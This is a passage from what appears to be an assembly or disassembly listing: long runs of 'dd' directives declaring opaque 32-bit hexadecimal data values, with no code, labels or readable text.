		dd 0E00B6D72h, 0FE5441E3h, 0C5524F22h, 0DDDCC06Eh, 0F04E2A4Bh
		dd 548753ABh, 376F6D3h,	5166AEF7h, 0CF82FAB1h, 4000ED3h
		dd 52F82831h, 803900B2h, 0E2C03EC2h, 0EA1ED006h, 0F285DAF6h
		dd 0B2BF2891h, 0D88E1877h, 1637CBF3h, 0FA034E50h, 2EB6044h
		dd 212672C1h, 0A771E1C1h, 303EF52Eh, 129FB6BFh,	0CAD46004h
		dd 11A261Fh, 5672126Ch,	73BBADD3h, 3AE20662h, 0EBABA02Eh
		dd 0B84247Bh, 52D3016Ch, 13708584h, 22832A05h, 0FFB669AEh
		dd 39A1BDE5h, 0ECE18B31h, 0B57CD0F6h, 821FD02Fh, 560B5B01h
		dd 0D86E2D5Eh, 0B9CD25FBh, 0F25CE7DFh, 187F0745h, 0F7DBE3F4h
		dd 0E73ECA71h, 2DAE9295h, 0BAA26FE7h, 11703360h, 582876E0h
		dd 0E919062Dh, 0C2375D98h, 14B23978h, 2F9D730Bh, 806FA8DEh
		dd 1A8869F3h, 7A7438E9h, 0B266EC5Bh, 58E94815h,	565724FDh
		dd 43E038F2h, 3374DDC5h, 28EF344Bh, 54F2E44h, 68E006A8h
		dd 0D7182087h, 7D885A6Fh, 90281EDFh, 0F4DA7BE9h, 0C841CC3Dh
		dd 3EA42280h, 585E7ACDh, 0FAC9E8B5h, 0FF0282BDh, 0D359D0FDh
		dd 0AAE343h, 6D0AC617h,	0F7094962h, 976B88B8h, 514C561Ah
		dd 632032DDh, 7CF34AECh, 2DC80228h, 48DB7F08h, 575DFF52h
		dd 6FB8022Eh, 0D57B2C30h, 73BFC703h, 32FE114Ch,	0A9BE244Eh
		dd 6A907532h, 0D76510E9h, 0FDECFD8Bh, 5BE4B95Bh, 0C90F58A0h
		dd 0A7515EABh, 61DB6841h, 888EB36Ah, 1FCF0EC5h,	0F3CEFF17h
		dd 0B8849F13h, 45EC4FD8h, 6AE1F6E1h, 0E05035B8h, 0C65DC997h
		dd 0C023325Fh, 83A8A509h, 7061C0B5h, 387C5031h,	3A9D84E6h
		dd 3006070h, 0DC00D44h,	0D4FD01h, 93D4E908h, 0C0EF96D7h
		dd 59D10539h, 0BC02993Ch
		dd 818E5E8h, 313F7580h,	0C457B81Bh, 54380ECh, 8B127668h
		dd 27C8AAEh, 0AE0955C5h, 0EAD8EB4Bh, 0CEF22080h, 6E609226h
		dd 4D50280Ch, 10DD950Ch, 4A06E99Ah, 5070732Dh, 571AD28Fh
		dd 0CB18C577h, 0ADE69055h, 0F5A29DC7h, 80694FE7h, 5E5CF601h
		dd 5F997489h, 0B4B2B598h, 4B6E68FEh, 0A082CB2Dh, 52BBE55h
		dd 4665144Fh, 6848D083h, 6A161903h, 0A0BF4E30h,	2E32603Ah
		dd 0F25362BFh, 0BBAB2723h, 8C4D38F2h, 11AC4BB6h, 0F82AD15Eh
		dd 422B8E6h, 0A5368E8h,	48C45EE8h, 78B791D8h, 21011583h
		dd 1ECF1127h, 0BF9BF6F0h, 0E35AB014h, 0C5ABD0C5h, 938FFBC0h
		dd 29B6E918h, 511883BDh, 7220432Ch, 299A2F1Bh, 33D7B64Ah
		dd 0BDFC0BA2h, 0D382984Ch, 18FF9B6Dh, 95A27B54h, 0FC029C55h
		dd 29D32C0Ah, 0E9080566h, 8240D47Dh, 0E1D569E8h, 7ADBD0B9h
		dd 61EB0C04h, 0C664DC20h, 48365BFh, 0EF7347DFh,	0DD0157C2h
		dd 0B8807A47h, 27676538h, 0E9C70A31h, 0CF157C54h, 0EFAB3A64h
		dd 5F89F4B4h, 0BCD5A0F8h, 84CF1D3Ah, 7B65E781h,	0F74FD081h
		dd 4747CBDh, 0D21ED7E6h, 0BBD8EB29h, 53E00CD1h,	0CEF46851h
		dd 8B6B5A4Ch, 122A2B4h,	5FABBAEFh, 0D7692059h, 270A896h
		dd 0E9700ABEh, 609D603Fh, 9835C305h, 9C2D293Ah,	5B93F776h
		dd 3FECDDFEh, 4A7ACFh, 52159696h, 204DE927h, 0FAA75FF7h
		dd 7821FE01h, 615A5851h, 0E9966F3Dh, 0C78794h, 47927479h
		dd 0ACEE4EB9h, 22EB2AE7h, 985C5661h, 92995427h,	6EE5A197h
		dd 0F41049E9h, 0CEFE5081h, 0B170912h, 0FE53E4B0h, 31554F24h
		dd 29665C6Dh, 303D00D8h, 0F58131D6h, 10DCC39h, 0F126683Ah
		dd 0FF73F517h, 0EEC8106Bh, 0D4EF2638h, 795F09A3h, 0A15C145Dh
		dd 5008AF2h, 44654D62h,	0C7C0F862h, 5C8709BDh, 0B507B57Ah
		dd 604C3C7Ch, 6E3401F3h, 51F075Ch, 159943B6h, 0E34BE0BBh
		dd 3B17C80Bh, 90E85F14h, 0FF2E43D6h, 21107FCFh,	96755D2Dh
		dd 9E55959Eh, 607390C2h, 74C5D750h, 1C51AD5Bh, 0ACA86F97h
		dd 707BE104h, 8E041A1Dh, 158628F5h, 0A74C242Dh,	0BA524860h
		dd 6A004008h, 0A3EA8143h, 0B72EA831h, 0F909AE7Ah, 7CAF7Fh
		dd 7230C840h, 95F1B033h, 8C5EE989h, 95BD5850h, 61132E73h
		dd 582012A0h, 2C79B4C6h, 89497877h, 3EF93D4Fh, 0D134D97h
		dd 0D3F7ED46h, 2763E076h, 7574E2Eh, 2C18BDF8h, 59A8292h
		dd 43C10E0Ah, 0EAB87BB7h, 13BF97F0h, 7002655Bh,	576E7E68h
		dd 0C0334DB0h, 0F602E80Ch, 2F2C04D8h, 0C0FE5351h, 2EDBF914h
		dd 0B740BCDEh, 0CB1D8073h, 8504890Ch, 40BBB84Eh, 8207489Ah
		dd 0D0092BEBh, 0A90540E0h, 9728FA33h, 9C3C6F5Eh, 83523958h
		dd 0CB01A244h, 406D4588h, 0B2585202h, 5B881582h, 49ED8F92h
		dd 5FAFC222h, 42080EFBh, 28422780h, 4DD25C55h, 595783Fh
		dd 2EDB1A42h, 3A523905h, 29075FEh, 8E4DCA62h, 983D3474h
		dd 0D32E6B1Fh, 8280822Eh, 73827A0Dh, 0B45B96F6h, 0EB058CA2h
		dd 1FFE33E8h, 75CDD0E8h, 397FF32Ch, 23360ACBh, 46BD5F93h
		dd 2DBEA9E5h, 859B65CDh, 56ED37E9h, 0B992FB2Dh,	3B9E7D02h
		dd 89A6DD95h, 682D97A8h, 0C2067EB1h, 5607A26Eh,	4BBAA663h
		dd 4DD7B90Ch, 0C722C443h, 0BBB1660Ah, 5B3357BBh, 0E1CF310h
		dd 0E513E95Fh, 0E2E72BA8h, 51DFBC09h, 0EA10CE4h, 810F4D20h
		dd 6A5F86E5h, 0B07C50Ch, 9597615h, 1D1B8426h, 7467A691h
		dd 4AE75F48h, 80BBF3B3h, 30F0C180h, 794CBFC8h, 4A7DB348h
		dd 800727E8h, 67E941CBh, 0ECD70940h, 4EA4F84Ah,	890FB86Ah
		dd 0DC7C004Ah, 0BF2CEF4Bh, 59024950h, 0B9E90212h, 55677551h
		dd 0E9C32182h, 0F5AD4A0Eh, 0AAAEE3C0h, 0FEB023BFh, 591A2CB4h
		dd 37BA036Ah, 50EF02BBh, 5EA14BE5h, 2C3E5894h, 0F76B1F73h
		dd 3198AA6Eh, 0D5924725h, 1BFCA32Bh, 5F387107h,	25E7DE99h
		dd 1D733A5h, 6FFCEB59h,	59C06F19h, 75524202h, 5A312830h
		dd 4D5D0911h, 0E20D39DBh, 0A30805FAh, 0C7977EBCh, 54A227DFh
		dd 6801829Bh, 6866036Eh, 8E557405h, 0EC44BF06h,	48815058h
		dd 0EA04CC38h, 6DDEAF1h, 9CC44028h, 7BA68A2Fh, 0E88152Fh
		dd 0FACA8984h, 8149430h, 0AF3E8CD3h, 0ED6DC0D8h, 490C9942h
		dd 0DFC25056h, 30D9FFCBh, 666CC38Bh, 94AC2034h,	0C82A6590h
		dd 0F0F8E790h, 8041B94Bh, 28C767C4h, 108806Eh, 0AA105E8h
		dd 2692485Dh, 5B0702B7h, 29B7451h, 1931906h, 0D0A1707Fh
		dd 0EB5E0A06h, 80AA6957h, 2B531D7Eh, 0CCE8A75Ah, 4AA5A9CBh
		dd 58CB625Ch, 6842D656h, 0D0517DEAh, 0E7A95627h, 0B767B4E9h
		dd 70257B7Fh, 171771CAh, 7B91FE88h, 31814B45h, 0E612CEF5h
		dd 9BE76021h, 1CD18B12h, 0CD76A4BBh, 0D4197C16h, 0C95FB3A8h
		dd 0E8E6F8DFh, 0EEA7112h, 0A04FC0E8h, 9C254789h, 0A007F0Ch
		dd 66191AB9h, 0F1043E7Eh, 64F26F58h, 4BFDC380h,	0E9231794h
		dd 0BE66854Ch, 44B50737h, 0EF4C70A8h, 5F28FA4Fh, 0E1FF59E9h
		dd 0B6716F4Ch, 0D481FC7h, 3018306Fh, 0EC398006h, 6BC4868Dh
		dd 0EB10CC28h, 0E800B907h, 0F2E995B5h, 0C4AC4BCEh, 0E39A1579h
		dd 0F4D5AF4Ah, 2F02B5FAh, 0FB96A7E9h, 7F1603DEh, 0B7F7F576h
		dd 3837624Ch, 0D4501163h, 0CA647A82h, 80055FA1h, 5BCEA017h
		dd 0F63A05BAh, 4BF83CD7h, 0B00586A2h, 82E0D0D3h, 0BA45B568h
		dd 0F82FD628h, 4874A091h, 1625B96Eh, 120D322Dh,	1E412C3h
		dd 5019BF47h, 0F3C47049h, 0E233750Fh, 0DBE967h,	556DFD2Dh
		dd 501CC158h, 2E620BE0h, 0FF898B82h, 44F23538h,	284E2D18h
		dd 2F4C0D8Ah, 89547294h, 5A2808A0h, 569E815Dh, 616442A7h
		dd 0B86BBF29h, 578D47Eh, 5C4E2BECh, 13DC94BBh, 2220EE08h
		dd 9F696368h, 0E03851CCh, 3BED5BAEh, 93B3E9A0h,	0DCD3B8A9h
		dd 99B7D813h, 7F38C53Fh, 262618B6h, 0ED28EC63h,	86335903h
		dd 41F5012Bh, 0E23A081Ch, 16E15FE4h, 6868B47Eh,	187C4A2Fh
		dd 9F145B81h, 54755218h, 0F425A128h, 5B8FF72Dh,	0D0181283h
		dd 0B9C3C265h, 89265CB0h, 0F7010DD7h, 516E132Fh, 3262A16Fh
		dd 6850817Dh, 0CC2F6757h, 1F2F5473h, 23DD0C4h, 0B1D6BA6h
		dd 5D5406E9h, 7996D52Fh, 0C75BA890h, 0F7EA9DC5h, 54E49A80h
		dd 17F058A3h, 0FD33612Dh, 0C044C13h, 724F45EEh,	183F2580h
		dd 550B03BCh, 0EB4463BDh, 35EDA800h, 9991CD2h, 0B5E917EAh
		dd 1028F9C3h, 68093DBBh, 30551F6Ch, 88A0BA51h, 130BD2C5h
		dd 745E20F1h, 0AE766B56h, 41DB1F02h, 5DD36829h,	0C22BBC01h
		dd 0B10076C9h, 0B5CC20BAh, 8062A714h, 4AD4E90Ch, 0ED6075CAh
		dd 722C3382h, 5C00DC6Eh, 296A23DEh, 2B09CD8h, 0E4F59F9h
		dd 22ADD440h, 70630627h, 0F681035Fh, 4F753C2Dh,	87DF94B7h
		dd 0C80530EBh, 95B8A426h, 7AC93825h, 51357D9Dh,	0D6E8A163h
		dd 46091C19h, 0B076649h, 6A4837F1h, 7C975BDEh, 0AFDD7B34h
		dd 0B902B4CBh, 6FAD12D5h, 689A2C40h, 0C0EEC30h,	0F6668495h
		dd 59583451h, 0DBB98158h, 2B48214h, 0D561FC1Eh,	8806AD8h
		dd 9E5BBBE9h, 6668FB20h, 49CFBC17h, 5D16467Dh, 0B211925Ch
		dd 74EF2F32h, 0B659939Fh, 5907345Fh, 322A01FEh,	7A143415h
		dd 0A85618E0h, 252858F6h, 1880F20h, 0B6DC2D07h,	339EA58h
		dd 0E9364409h, 0BE853082h, 624D10CEh, 26B3CF2Ah, 10D6D931h
		dd 5EFE5FFBh, 0ED9F8BE0h, 68163469h, 5F795023h,	64D6D20Eh
		dd 3A317601h, 282F9F05h, 7A4B5C6Eh, 0E513C0B3h,	177BF36Dh
		dd 58C95160h, 828B6C48h
		dd 8EA9A460h, 24B246B7h, 6084BC79h, 67DD35DAh, 37615A4Bh
		dd 818C72A3h, 0DD152B08h, 0F682B6A4h, 175215Fh,	7EFC55EEh
		dd 0AEA9ADBh, 41293BFAh, 58DA009Ah, 0A7E93A82h,	0B94881E3h
		dd 14D77E24h, 0D940A03Eh, 49924197h, 484AB26Bh,	4BC309A1h
		dd 4A387829h, 0B3D5D859h, 0C5C51460h, 5840AABAh, 0DA05342Bh
		dd 8242E527h, 0D6B08C94h, 83A61463h, 0F057EA89h, 7697B6EFh
		dd 610340B3h, 9AE225BDh, 600E1A01h, 4214E70Dh, 626EE9E8h
		dd 0E1284695h, 2EAFBE61h, 0CB9E06E9h, 0D1D20911h, 3228720h
		dd 578E6851h, 0ADD908A8h, 0C3D37E5Ch, 182D98C8h, 45679E4Ch
		dd 2D0CFC63h, 2D3BF75Bh, 33C886F9h, 0F0B605B1h,	4359EE80h
		dd 0A220F616h, 825A5A01h, 0D2550A1Ah, 96369553h, 0D927FF93h
		dd 0DEED0969h, 0C16040D6h, 95505C28h, 0E90413C5h, 80005946h
		dd 68661EC3h, 5B1B393Ah, 1C8615E8h, 94A2283h, 9E6BDCECh
		dd 0F4555F62h, 0F8174286h, 8A0A8309h, 686C9877h, 0F7344CBCh
		dd 0CF2157CFh, 0C45FC26Eh, 1598EFD1h, 0E62A100Ch, 5AE91014h
		dd 0EA7FE423h, 2C1C5C37h, 5A7EE6B3h, 416A216h, 5BD56848h
		dd 8E246FE3h, 0BDE5AFC8h, 702FF923h, 3C9BBD62h,	48EB0C1h
		dd 591EA87h, 88304DEFh,	0DE13125Bh, 9F85A0A6h, 258CA35Eh
		dd 0D868134Dh, 0F9C46162h, 315DE472h, 0D4DE97A3h, 5662B49h
		dd 168E2D1h, 1CD361B8h,	464E50Dh, 93FC8A52h, 60C867E4h
		dd 0DAC21D3Dh, 184B4414h, 0E9405DFCh, 31060464h, 0C2CA89F7h
		dd 0BBEC6875h, 1E17B4EEh, 5F0407FDh, 2C079526h,	2BDD7B19h
		dd 7267D511h, 887762Dh,	0F42F1169h, 0A462869h, 1BAB7CF8h
		dd 16A1C9Ah, 0F03122E2h, 0A6877F5Eh, 0F56BF337h, 0EDA8B2C4h
		dd 0A0B5E298h, 105BEF0Ch, 0F5224C4Ch, 320C1B04h, 26BDAE1Ch
		dd 0F450BC93h, 0E2EF46D5h, 57E9C216h, 0A924DF12h, 5ADDECEFh
		dd 0FA4FE1A7h, 0C4E60B71h, 6EB25200h, 505BCDF0h, 0D1C5E48h
		dd 3EC1D482h, 0AA10E5A2h, 0F5800E53h, 87ED6906h, 6FD2E8DAh
		dd 5A2F68BFh, 0DD71B509h, 47BC1E0Dh, 585E047Fh,	17FEF2A5h
		dd 90BED7F7h, 366CBF69h, 4F0ECC1Eh, 7DE0CBD6h, 79822768h
		dd 8249E753h, 0D5471562h, 3DCC3E98h, 0A78E4DBFh, 92209148h
		dd 9C4A4491h, 4E5D0909h, 5FA5985Fh, 0F267FE95h,	4CFC71B4h
		dd 5BFA8805h, 6CC4FF59h, 0C2800320h, 0E23A9882h, 0C805833Bh
		dd 0C04DCB7h, 0ADAECC84h, 0B9532C55h, 1C844B17h, 285AA7A9h
		dd 0E825C1ECh, 4CD408h,	5217185h, 0BC584B9h, 6CBCFAE9h
		dd 84555913h, 0ED8FC09Eh, 0FD255484h, 2D2E5490h, 5669EE5Eh
		dd 6D110896h, 70F85717h, 86302602h, 0F87D5829h,	325E3CE5h
		dd 7EA7E9B8h, 0E6CE90D5h, 0A049D691h, 7B177264h, 91B075A0h
		dd 15251761h, 0E187007Ah, 92BF36Eh, 0D25FF92Ch,	64E48D09h
		dd 2907C57Eh, 939BA977h, 641E1904h, 0D1316603h,	1ECA063Bh
		dd 2764F987h, 9FF30620h, 0AAA45218h, 88405EAFh,	2B0C048Fh
		dd 5EB17275h, 0DB07BECBh, 0C43F2C8Eh, 0D9FE849Dh, 0C8162B71h
		dd 599B9BABh, 6038C454h, 0DED373EEh, 836A39E2h,	8444C755h
		dd 0EEB752E9h, 45FE0D56h, 0BF565F7Ch, 1671A3A0h, 0EF133203h
		dd 5A07E910h, 0CD30F8E1h, 45595CCAh, 35FEC62Dh,	5D912964h
		dd 2097CF88h, 0BD40BFB5h, 5E05F6F7h, 0C4E9863h,	438C10B6h
		dd 42091818h, 0DD310702h, 6ADA2991h, 0CE290806h, 77D72D48h
		dd 0E9A02D53h, 61C06B98h, 298960EEh, 0C7014AFAh, 534A5C54h
		dd 0BA0042BAh, 610C21E8h, 26DF281h, 0C14FF56Fh,	68CC05E2h
		dd 3F9BD01h, 0DDF74B62h, 0BD02A20h, 2123140Fh, 47684203h
		dd 65DF0B97h, 235B0504h, 0EA9982C2h, 0B95889D6h, 0C6681475h
		dd 2F008217h, 0E973A627h, 6A949703h, 2DFA8E63h,	0C86ABDEEh
		dd 0EE2202FCh, 0B784285Ah, 2EA9CEFBh, 0E941F668h, 0D7C20DE4h
		dd 0F70C13E5h, 0B611C8D5h, 32D46084h, 3109723Ch, 40E3E9C5h
		dd 4FBA687Ch, 0F1BDAD6Ch, 336801E9h, 986A987Ch,	63DC9059h
		dd 0E92F0690h, 96550CCAh, 5D85FA1Eh, 9883B07Ch,	0D2B72208h
		dd 0CE68F25Fh, 152D0CB8h, 0FECD0058h, 0EC16CA77h, 5B6307CEh
		dd 64E96F91h, 2BAE9E4h,	0D32F87DEh, 0E8B54021h,	0F4808039h
		dd 0E330B10Bh, 0AF167F58h, 0DDB5A42Fh, 3D00542Ah, 0CDA36616h
		dd 5496E4C0h, 31FD4781h, 2C0DA24h, 0F90C05E0h, 61C1C8FEh
		dd 42216B8Ch, 0B96D3F7h, 0A1DC2158h, 0E77D9D56h, 29A018D6h
		dd 5EF470B4h, 0C278C7E3h, 475F41D6h, 73BA00CFh,	311DE562h
		dd 542DC692h, 6EFEA28Fh, 7281765Eh, 56029450h, 5802744Eh
		dd 2B06892Dh, 306F02FFh, 0B819D72Bh, 7BC53BA8h,	0AA2A0E99h
		dd 255983Ch, 0D76785BDh, 0DAC14507h, 9CF63F84h,	81009E48h
		dd 0ED7D43F1h, 0CF5B3167h, 0A946C398h, 0C730ACACh, 4014BFF9h
		dd 6AB55C90h, 158380AFh, 0B018E206h, 0E956090Ch, 40DA129Ch
		dd 8F2384Ah, 0EB2F34A3h, 791D2573h, 7699E910h, 820B8F01h
		dd 0F486E97Eh, 13849AACh, 5D9282ACh, 5D7ABD74h,	0EDB0471Eh
		dd 0E919C6F6h, 5D50A0A5h, 9F2AC7D8h, 0DF89BFF9h, 83B0F77Ah
		dd 0F89E44A4h, 0C4B37469h, 53FDBA51h, 0BE685B05h, 7A8FAB5Ah
		dd 0A8775500h, 63EA8178h, 1C342313h, 6B38D03h, 4180F5FAh
		dd 60CAEFF9h, 1D2924E6h, 0CC13513h, 0DD46280Fh,	0F15EC968h
		dd 48E27FDAh, 26B446F4h, 3C40EB95h, 973170D3h, 77723AFCh
		dd 8B8C5AB8h, 0E9CF1FCEh, 0F589DF6Ch, 0E978287Eh, 0A0DCBADEh
		dd 822C4026h, 0F35AC075h, 0EAD3EA72h, 67E66EBh,	0CC5A1678h
		dd 27E9B0E0h, 2265C472h, 5EC39309h, 40C64D6h, 0F6078A2Eh
		dd 66018154h, 0BAA0AC59h, 7729589Ah, 95F57AC2h,	48FE0E8Ah
		dd 33CFAA17h, 6818B05Eh, 0F3335329h, 0E905D6ACh, 75CDEBF0h
		dd 608BC87Eh, 0D78DB769h, 0E6C173B1h, 20209CFDh, 2EA0AD42h
		dd 31D38618h, 8CD905AAh, 0FF8334A8h, 74404A41h,	422A23FAh
		dd 5C7F68F7h, 118B35CCh, 6A08322Dh, 0FFD86A9Dh,	9E063CFAh
		dd 5D794973h, 897D957Eh, 5E7177DDh, 52E01DCAh, 2D0296BAh
		dd 8E5A6480h, 8FCC509h,	230FF7C0h, 3408ED0Ah, 3517170Ch
		dd 4F28AF06h, 0B7191CB9h, 0AC31D328h, 0F505E231h, 0D0298F20h
		dd 29482E9h, 8071402Dh,	53010BF2h, 0E604FEB3h, 0DDB917A3h
		dd 94A54E5Fh, 0E93DFB00h, 0D4B98B98h, 1E0B0E26h, 8B7BFE5Eh
		dd 65733076h, 0CD2797BDh, 5B979E57h, 0ECF9BFA2h, 1D0B25D4h
		dd 65C74FAh, 957020DCh,	6F8EC0E1h, 0F9F8E153h, 43C80417h
		dd 0C3FEF3EBh, 0B951B6CBh, 0A2BC2AF2h, 177D892Ch, 0D9D55094h
		dd 0F427F013h, 294F66BBh, 59CD08A1h, 0B2CC773Fh, 7C5DEAB9h
		dd 335C7AE8h, 0E44F75Ah, 8B92BFB9h, 4B72A6EBh, 0D5F2FECh
		dd 89E2467Ch, 77E6C104h, 5F4DD600h, 5212F39Bh, 52A0F289h
		dd 7230BD20h, 0BAB97B62h, 5F02EBE2h, 77C72B6Ch,	0D8053BB3h
		dd 0D6F81982h, 0A901E711h, 12C016D7h, 0A49ED2E9h, 0B0047C71h
		dd 0F93162A3h, 87B280BFh, 1A4B7E33h, 0B92DBA81h, 0D72ED542h
		dd 709BAC2h, 677C180h, 2C906B2Fh, 87C5E8C3h, 0E1EBDABCh
		dd 21038388h, 0B1771CC2h, 0F5EEF92Bh, 6B5C6411h, 0EA2789FCh
		dd 0B5685602h, 2AE9E0ADh, 601B097Ch, 0DFC91749h, 7CBF6942h
		dd 97BF50DBh, 85C8DF2h,	957F2064h, 6CDD58E1h, 4F5F1FC5h
		dd 2F49CD92h, 0F87002BBh, 1DDEF67Dh, 2E3094Bh, 586C0D5h
		dd 0ED1FF43Dh, 27D58AFCh, 1C74C33Bh, 9F56F92Fh,	0BE2DAEE9h
		dd 81D64E76h, 3CC58646h
		dd 0EDC0093Dh, 0B3C58E02h, 25685BCCh, 6F464D51h, 0C76B722Dh
		dd 3AFFA5B7h, 3996555Ah, 76B3295Fh, 0B999364Bh,	51C1012Dh
		dd 3BE0C698h, 0F8E09990h, 5C9EE590h, 0E2A77509h, 3A767EBFh
		dd 7C425860h, 0BA1D794Fh, 96498314h, 0AAF42729h, 8911F919h
		dd 23C7BFFBh, 8B2A253Fh, 974B022Eh, 167D2B0Ah, 95F4AC37h
		dd 4CDDEC62h, 85E43465h, 2CBAC3Fh, 6E659CE1h, 5501FF26h
		dd 3A42D187h, 0A03F828Dh, 0B9379436h, 85479E10h, 172DFA1h
		dd 96103C38h, 0FE2D2733h, 28E6A7B2h, 0CF1A4859h, 6927C47Fh
		dd 9C3B9AFh, 0FAE814E9h, 484B09A6h, 28DD1F12h, 5802085Bh
		dd 0FA44EEE9h, 0C6750B9Fh, 0DE590665h, 0AB685C8Fh, 766FB216h
		dd 0EB70B50Fh, 0E913E08Ah, 0BF09B0A1h, 9E192DFEh, 55D8313Eh
		dd 1B7A640h, 0F75F1733h, 8B25B8D7h, 5F56087h, 960817D2h
		dd 0B7D0EE1Dh, 2D3369B8h, 59C016DDh, 520CEF81h,	0C7D8C3Ah
		dd 40611708h, 4118BD1Eh, 140CA008h, 24AA65B7h, 53FA0E98h
		dd 52255B89h, 0CCBD0B5Ah, 0F645EC55h, 608A4BD1h, 2A685664h
		dd 17221F1Ah, 9997FDFEh, 79909ADh, 0EC1946E1h, 9A02587h
		dd 0E79E7B94h, 3AD06884h, 53B3AD8h, 0C170AA7Fh,	0EF60C0E7h
		dd 0A730F3ACh, 29C2BE0Ah, 0C6C60B5h, 1FB06760h,	0A206A95h
		dd 42073E08h, 199C571h,	0CD34ED90h, 76C94085h, 181C52Dh
		dd 713ADE69h, 0C9C03F64h, 0BF4F8E48h, 0F7734B70h, 0B793AC3h
		dd 0C5BFAC97h, 0DE888C93h, 0C1CA3648h, 7348A22Dh, 41750D70h
		dd 2C3330E7h, 0A65B3F39h, 41D0101h, 9903E907h, 0F65D090Eh
		dd 61565118h, 0AF126BCFh, 9323A0BAh, 0EC5BD0BDh, 51C75CC3h
		dd 825C3F34h, 0CBE8CA0Dh, 0FA002D48h, 3553374Dh, 0B818BC01h
		dd 74EB00A5h, 0E948FD52h, 48999110h, 0F7119902h, 7E5834Fh
		dd 413B8274h, 1224D670h, 9F509F1h, 0DD10330Eh, 0DC822571h
		dd 75D4AF57h, 818EB19Bh, 0BE8B535Eh, 0C9109C6Ah, 725E8768h
		dd 0C325478Eh, 76C918DCh, 3D20BC02h, 7C08E912h,	940C37BEh
		dd 0CB30790h, 1D81DEE4h, 24162C07h, 98C6F0BAh, 488BA1Fh
		dd 831AC9B8h, 0C2F7C07Eh, 6448B322h, 0A0EA2088h, 4B595015h
		dd 61E1A083h, 0F026AD1Dh, 7C8A7949h, 275EB21h, 86B0C70h
		dd 7635098Ch, 0F185B056h, 4D81CE51h, 583922B5h,	0EC1EF605h
		dd 7E6D9232h, 0D72CBE56h, 276AE808h, 0CB205778h, 4AD3A6h
		dd 81052835h, 2A13B6F2h, 32007E06h, 1ACF63FAh, 2E492FE9h
		dd 648551D1h, 0E305504Ah, 5BA368D2h, 0BEFCF712h, 0BEE4C4B2h
		dd 0E89B7A61h, 88F0A007h, 281258C5h, 4B0B5AD5h,	8C30570h
		dd 4623C982h, 0AB9A5F51h, 0C7344529h, 0FB54973Dh, 16F6D4CCh
		dd 0EA3AA032h, 0B8503700h, 137C1EB9h, 1CC72928h, 1314C28Bh
		dd 2C6E4E86h, 29CBD7Bh,	0BE568550h, 8CD88489h, 8243ADFFh
		dd 6C5A3368h, 3E8E00FCh, 96BA38DCh, 0C74823C1h,	33BF03CAh
		dd 9D017AF2h, 80F2384h,	0FFFA205Eh, 5BE7E932h, 4622418Fh
		dd 2E10E858h, 0E649180Fh, 32955F5Eh, 0D08869F3h, 4858B43h
		dd 9B3C256h, 0C63D7E50h, 0F5B819A0h, 0F3BE5603h, 0F22A2379h
		dd 8062FC21h, 0BA53D2C3h, 0EDD5F3Ah, 61821B80h,	25E9D831h
		dd 0AFFF7193h, 0B383054Dh, 0B9D6C6F4h, 0E9536076h, 4292208Eh
		dd 9D515477h, 3DEC7FD8h, 802FE9E0h, 2CA53B7h, 5D017D4Eh
		dd 9B5C6BDDh, 38D0E9ACh, 36ED060h, 219409C5h, 0EFBBE9EEh
		dd 0CCBE9001h, 4E3E9D75h, 11CD887Bh, 2F1F321Dh,	0EA05CE92h
		dd 21EB6720h, 0E6B5D253h, 841DD65Dh, 0F99DE2E9h, 49A90435h
		dd 0C1BF2C62h, 650AE9h,	7463BE66h, 0F1893E67h, 205F5A25h
		dd 8DA10184h, 5B5FF6AAh, 0E724E4A9h, 6792D695h,	8FE4B96Eh
		dd 0D5E98C9Bh, 0D220F545h, 776D0F09h, 37287F65h, 16B12408h
		dd 0CB3ABC0Bh, 0F1C2F728h, 9CF80F4h, 0AD15F1A4h, 0C86D9ADDh
		dd 0BEE7CCDEh, 68B362CFh, 0E077FEA9h, 3F3C2AB5h, 8D195C98h
		dd 2E313E6Fh, 6851F280h, 886516AFh, 1172F028h, 0EB05B702h
		dd 68A870E9h, 0B72FB19Bh, 23A921C0h, 35BB40C0h,	941AF72Eh
		dd 0B9A285Ch, 7C7E78FBh, 89F285Dh, 623FE90Bh, 9EA7E85h
		dd 925DCB3Bh, 0C540F596h, 8F8213C7h, 1FBD032Eh,	0EF01E155h
		dd 0BC565FFEh, 0B97BCF71h, 0BFC2D301h, 0DD05033Ch, 1100D80h
		dd 0C0ACC850h, 58523312h, 8EEE3E30h, 5AD83059h,	0AC438D0Ch
		dd 0A29572Ch, 2811AB08h, 0BBF707B8h, 0F6134271h, 0CB06AFFh
		dd 518E062Dh, 0D2FB47DFh, 0C2ACAC1Eh, 5BBD9CF2h, 7FC10F42h
		dd 0E2503167h, 0A7774674h, 0F3A6DE1Ch, 90AEB008h, 45530B34h
		dd 0C2E21BD8h, 0DA578FC2h, 91F74D80h, 97746BC5h, 5A3D624Fh
		dd 71B91855h, 0F7947301h, 487B8441h, 0DF49C22Fh, 68010976h
		dd 28201B86h, 0BB5A6A28h, 0B8C72200h, 486007FBh, 0EE4F43E9h
		dd 0E785B056h, 4EB6A5B4h, 0FBB07577h, 38C86E5Fh, 1E30132Bh
		dd 97E26756h, 0DA24E857h, 15569D92h, 0A1797959h, 3C9DCE03h
		dd 7FDA1D65h, 0BD0A387Eh, 0AA171502h, 975809A9h, 4BB7530Eh
		dd 7FA00C7Fh, 0EAB7B822h, 0E247C3B7h, 795C9Eh, 7A5479BFh
		dd 7009BE7Eh, 0D804EB1Ah, 0EE2927DDh, 0FC5A757Eh, 291F3FAFh
		dd 0E9710538h, 5A59F089h, 63B5F195h, 1E2498CBh,	58097F5Dh
		dd 4105775Eh, 13972Bh, 2FC580F5h, 0ABDD6650h, 3624124Ah
		dd 2768FBA0h, 0C463814h, 9FAE7022h, 6ED751E2h, 468F2778h
		dd 0C16A9E98h, 90994082h, 5DFE1647h, 0E3B95409h, 2C083709h
		dd 0ACBE537Bh, 90132EDBh, 7D01CABFh, 794CA636h,	0E8B12F69h
		dd 0D139C7DCh, 4EE2BCAh, 0BA792C71h, 4A4EAB87h,	4E17D053h
		dd 0C9601CAEh, 4F760DC7h, 55904109h, 14FEE01Eh,	0F7C6429Dh
		dd 68C1D2F9h, 9B8975FCh, 0BE591017h, 133B64E9h,	5487EFE9h
		dd 7C42616h, 5820ED97h,	2B987377h, 6B85A85Eh, 9629E2AEh
		dd 191461FBh, 0A23668AFh, 95CFE1CDh, 0D67FB36Eh, 2046CDABh
		dd 371E6A29h, 684616D3h, 2E9F7B5Bh, 6FE3246Bh, 6ECE4E06h
		dd 0B4A89180h, 123BBF80h, 17B602h, 0A77C83F7h, 0F0BF3152h
		dd 0DCC32DA2h, 30AF9C5Dh, 684F6595h, 75C50B05h,	4FFBC701h
